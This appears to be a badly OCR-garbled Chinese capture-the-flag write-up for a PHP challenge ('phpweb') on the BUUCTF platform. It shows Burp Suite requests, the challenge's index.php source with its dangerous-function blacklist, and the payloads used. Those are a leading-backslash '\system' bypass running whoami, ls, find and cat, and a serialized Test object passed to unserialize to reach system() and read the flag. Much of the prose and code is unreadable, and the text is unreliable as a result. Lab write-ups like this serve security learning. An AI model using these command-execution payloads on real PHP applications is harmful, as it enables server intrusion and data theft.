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Warning: date(): Ith 's trmezok settings: to use the date.timezone setting
or the date_defa m : nEatrarestill getting this warning, you
most likely mi olled ed T lease set date.timezone to select
your timezone.

2020-12-09 18

WA Warning , RIWTEHEAZTEHSIRIFE M, 15 FBurpSuitedlUEEE /.

‘? Request to http://21d%aeac-97ce-4ab2-8bf8-bf55c596f5a3.node3.buuoj.cn:80 [111.73.46.229]
[ Forward J l Drop J [ Intercept is on | Action Comment this item W ®
_&aw T Params T Headers T Hex ]

POST /index.php HTTP/1.1

Host: 21ld%aeac-97ce-4ab2-8bfB-bf55c596f5a3.node3.buucj.cn

Content=-Length: 29

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://21d%aeac-97ce-4ab2-8bf8-bf55c596f5a3.nodel3.buucj.cn

Content-Type: application/z-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 11_0_1) AppleWebKit/537.36 (KEHTML, like Gecko)

Chrome/87.0.4280.88 sSafari/537.36

9 Accept:
text/html, application/xhtml+xzml, application/xml;g=0.9%, image/avif, image/webp,image/apng,*/*;g=0.8, application/signe
d=-exchange;v=b3;qg=0.9

10 Referer: http://2ld%aeac-97ce-4ab2-8bf8-bf55c596f5a3.node3.buucj.cn/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CHN,zh;g=0.9

13 Cockie: UM distinctid=1763b3112bc8ac-0d205f9bflecb9d-631122c72-1fa400-1763b3112bd8ab

14 Connection: close
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16 funce=date&p=Y-m-d+hi3hi%3As+a

#ESHEE func 5p, HREHAH: 2020-12-09 12:58:53 pm
MERPAT T date() R

R4 T I8 0 B R B AT, Bl & BT

SRR A PERS: func=highlight_file&p=index.php
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DOCTYPE html
h



head
title>phpweb</title
style type="text/css"

body {
background: url("bg.jpg") no-repeat;

background-size: 100%;

p {

color: white;
)i
style
head

body
script language=javascript
setTimeout ("document.forml.submit()",5000)
script
p

array("exec","shell exec","system","passthru","proc_open", "show_source", "phpinfo", "popen","dl

,"eval","proc_terminate", "touch","escapeshellcmd", "escapeshellarg", "assert","substr_replace","call user_func_anr

"array_map","registregister_shutdown_function","register_ti
"array_reduce","array_walk", "array_walk recu

ray","call_user_func","array_filter", "array_walk",

ck_function","filter_var", "filter_var_array", "uasort", "uksort",

rsive","pcntl_exec", "fopen","fwrite","file put contents");
function gettime( 5 ) {
call user_func( )
gettype( )5
if ( "string") {
return
} else {return "";}
)i
class Test {
var "Y-m-d h:i:s a";
var "date";
function _ destruct() {
if ( func ") {
echo gettime( func,

["func"];
["p"]1;

if ( null) {
strtolower(
if (!in_array(
echo gettime(
}else {
die("Hacker...");

id=forml name=forml action="index.php" method=post
input type=hidden id=func name=func value='date'
input type=hidden id=p name=p value='Y-m-d h:i:s a'

form

body
html




BEHPHIPHPARS:

o A& gdisable fun WETRBBLE, JLITLET A BRERE

e call_user_func() REEE-NSHEEANRARLOAA, KASHREARBHSH, HRRIN date REIATHIHTT
o iE call_user_func() BBHITELRREN string FB, HNEEPRTER, BUERZE

o FHE—A Test K

o fENER $func MR $p M1E

o HAZE $func AAZ, HENURNNIE

o & $func AERL RS, WHEHAT, BMELIERF

fE in_array() JEPATIG, TTCAEEAIIEHN \ 75 geid, Blin:

HEPIT system :
14 Connection: close 26F <script language=javascript>
15 27 setTimecut | "document. forml.submit({}",5000)
16 func=system&p=whoami 28 |<fscript>
17 29 |<p>
30 Hacker...

S BALBREE, EH \system :

func=\system&p=whoami

<p>
0 www=data
www-data</p>

L L B
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HIN M system() BRETE call_user_func() BHEAMEEHHIIZEIT, (BTE in_array() REH \ 2B SE—NFERF, WTRIEL
jlig=-5us

FrUAmT A E A \ et AL B, SElar @30T

func=\system&p=1s

<p>
bg.Jjpg

index.php

index.php</p>

EiiflaghrEN B

func=\system&p=find name flag

- g m e mm et e m e C———

- - e mmge e

76 [fsys/devices/platform/serial8250/tty/ttysS8/flags

77 [{sys/devices/platform/serialB8250/tty/ttysS25/flags

78 /sys/devices/wvirtual/net/eth0/flags

79 /sys/devices/virtual/net/lo/fflags

B0 /sys/devices/wvirtual/net/ethl/flags

81 /tmp/flagoefiu4rd3

B2 /tmp/flagocefiudrdi</p=

Big<form id=forml name=forml action="index.php"
method=post>

o JPUR R S S U U S ——

BB TEEKIBRAE, H cat MO HEE:

func=\system&p=cat /tmp/flagoefiud4r93



5 3lflag:

28 <fscript>

29 |<p>

30 flag{3fcTeb5c-ef55-4cT7d=-ba%4-d6e75004fB6a}
31 flag{3fcTleb5Sc-ef55-4c7d-ba%4-d6e75004f86a}</p>
jZg <form id=forml name=forml action="index.php”

method=post>

RRRER \ 581l in_array() BE, AMLIGEERE R, TRALSPATHITE, RIERFERNIZERF S

GRS HTIRTD Test 2K

class Test {

var "Y-m-d h:i:s a";

var "date";
function _ destruct() {
if ( func ") {

echo gettime(

Test RIFBRAHA, BEEENHREF AT gettime() KL
serialize() Ml unserialize() RBATERLEY, U FEHARFIM T RASET BEBHE

ZRMIEFFIL, RN, unserialize() BEUEAZRE $func HIME, FIIMLIERFRFERIERSE $p HI1E:
class Test {

public
public

new Test();
func "system";
p = "ls";

echo serialize(

BEF I G B 775 & .

0:4:"Test":2:{s:4:"func";s:6:

fE FAPOST/ 2 K IA B -

func=unserialize&p=0:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"1s";}

A AE B AT -
29 <
30 bg.Jpg

3l index.php

32 index.php</p>

33 <form id=forml name=forml
method=post>

E#flag:

func=unserialize&p=0:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
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16 func=unserialize&p= 64 /sys/devices/platform/serial8250/tty/ttyss5/flags

0:4:"Pest":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"f 65 /sys/devices/platform/serial8250/tty/ttys22/flags
ind / -name flag*";} 66 J/sys/devices/platform/serial8250/tty/ttysSl2/flags
17 7 J/sys/devices/platform/serialB250/tty/ttyS30/flags

68 /sys/devices/platform/serial8250/tty/ttysS3/flags
69 J/sys/devices/platform/serial8250/tty/ttyS20/flags
70 /sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS529/flags
/sys/devices/platform/serial8250/tty/ttySl/flags
/asys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/trys27/flags
/sys/devices/platform/serial8250/tty/ttysS17/flags
/sys/devices/platform/serial8250/tty/ttysS8/flags
/sys/devices/platform/seriald250/tty/ttyS25/flags
fasys/devices/virtual/net/ethd/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/ethl/flags
ftmp/flagoefiud4r93
82 J/tmp/flagoefiudr93</p>
830 <form id=forml name=forml acticonw
method=post>
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index.php"”

B 2lflagiiBgi2: /tmp/flagoefiuare3 , f#HH cat frdikHiflag:

func=unserialize&p=0:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiud4ro3"

16 func=unserialize&p= 28 </script>
0:4:"Test":2:{s:4:"func”;s:6:"system";s:1:"p";s:22:"¢c 29 <p»
at /tmp/flagoefiudr93”;}| 30 flag{3ifcTebSc-ef55-4c7d-ba%4-d6e75004f86a)}

31 flag{3fc7ebSc-ef55-4cid-bad4-d6e75004f86a}</p>
iZg<form id=forml name=forml action="index.php"
method=post>

%5 zlflag
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